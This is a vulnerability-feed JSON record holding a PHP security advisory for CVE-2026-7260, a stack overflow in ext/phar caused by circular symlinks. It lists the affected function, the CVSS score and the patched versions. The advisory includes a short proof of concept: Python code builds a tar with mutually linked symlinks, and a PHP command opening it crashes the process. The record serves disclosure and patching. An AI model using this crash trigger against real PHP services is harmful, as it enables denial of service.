{"vuln_id":"GHSA-vc5h-9ppw-p5f3","aliases":["CVE-2026-7260"],"description":"Stack overflow in phar with circular symlinks","published_at":"2026-07-30T11:03:15Z","modified_at":"2026-10-06T20:13:35Z","first_seen_at":"2026-11-21T19:15:07.671972Z","severity":"medium","severity_source":"ghsa","cvss_score":5.5,"cvss_vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","cwe":["CWE-400","CWE-674"],"vendor":null,"product":null,"kev":{"is_kev":false,"date_added":null,"due_date":null,"ransomware":false},"epss":null,"epss_percentile":null,"nvd_status":null,"enriched_at":null,"links":{"nvd":"https://github.com/advisories/GHSA-vc5h-9ppw-p5f3"},"matched_alias":null,"items":[{"id":642,"source":{"id":"gh-php-src","name":"PHP releases (GitHub php/php-src tags)"},"title":"GHSA-vc5h-9ppw-p5f3 / CVE-2026-7260: Stack overflow in phar with circular symlinks","summary":"Stack overflow in phar with circular symlinks\n\n`phar_get_link_source()` in `ext/phar/util.c` recursively follows symbolic links in phar archives without any depth limit or cycle detection. A crafted tar-based phar archive containing circular symlinks causes unbounded recursion, exhausting the C stack and crashing the PHP process.\r\n\r\nhttps://github.com/php/php-src/blob/cbc0489126a7682796aad1e5fb4e51de74af162c/ext/phar/util.c#L60-L82\r\n\r\n```bash\r\npython3 -c \"\r\nimport tarfile\r\nwith tarfile.open('circular_symlinks.tar', 'w') as tar:\r\n    a = tarfile.TarInfo(name='file_a'); a.type = tarfile.SYMTYPE; a.linkname = 'file_b'; tar.addfile(a)\r\n    b = tarfile.TarInfo(name='file_b'); b.type = tarfile.SYMTYPE; b.linkname = 'file_a'; tar.addfile(b)\r\n\"\r\n\r\nphp -r '\r\n$p = new PharData(\"circular_symlinks.tar\");\r\n$p[\"file_a\"]->getContent();\r\n'\r\n# Expected: Segmentation fault (stack overflow)\r\n```\n\nAffected packages: php:ext-phar\nPatched: ext-phar 8.2.33, ext-phar 8.3.33, ext-phar 8.4.24, ext-phar 8.5.9","url":"https://github.com/php/php-src/security/advisories/GHSA-vc5h-9ppw-p5f3","published_at":"2026-07-30T11:03:15Z","updated_at":"2026-10-06T20:13:35Z","fetched_at":"2026-11-21T19:15:07.553378Z","severity":"medium","cvss_score":5.5,"epss":0.00114,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"php","product":"ext-phar","vuln_id":"CVE-2026-7260","vuln_ids":["CVE-2026-17543","CVE-2026-17544","CVE-2026-7260","GHSA-VC5H-9PPW-P5F3"],"tags":["repo-advisory","php","CWE-400","CWE-674","security","repo:php/php-src"],"cluster_id":470,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/642","html":"https://vulnwatch.ve1ve2.com/item/642"}}]}